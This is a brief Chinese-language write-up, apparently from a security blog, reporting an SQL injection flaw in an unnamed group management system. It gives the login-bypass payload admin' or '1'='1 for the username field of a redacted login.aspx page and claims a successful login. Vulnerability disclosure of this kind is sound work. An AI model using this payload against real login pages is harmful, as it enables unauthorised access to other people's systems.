某群管理系统存在SQL注入漏洞

有些事情不是看到希望才去坚持，而是坚持了才会看到希望。

漏洞实战

访问url：

http://xxx/login.aspx 

登录界面如下：

输入万能密码：

用户名：admin' or '1'='1
密码输入：123456 或任意

成功登录：

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。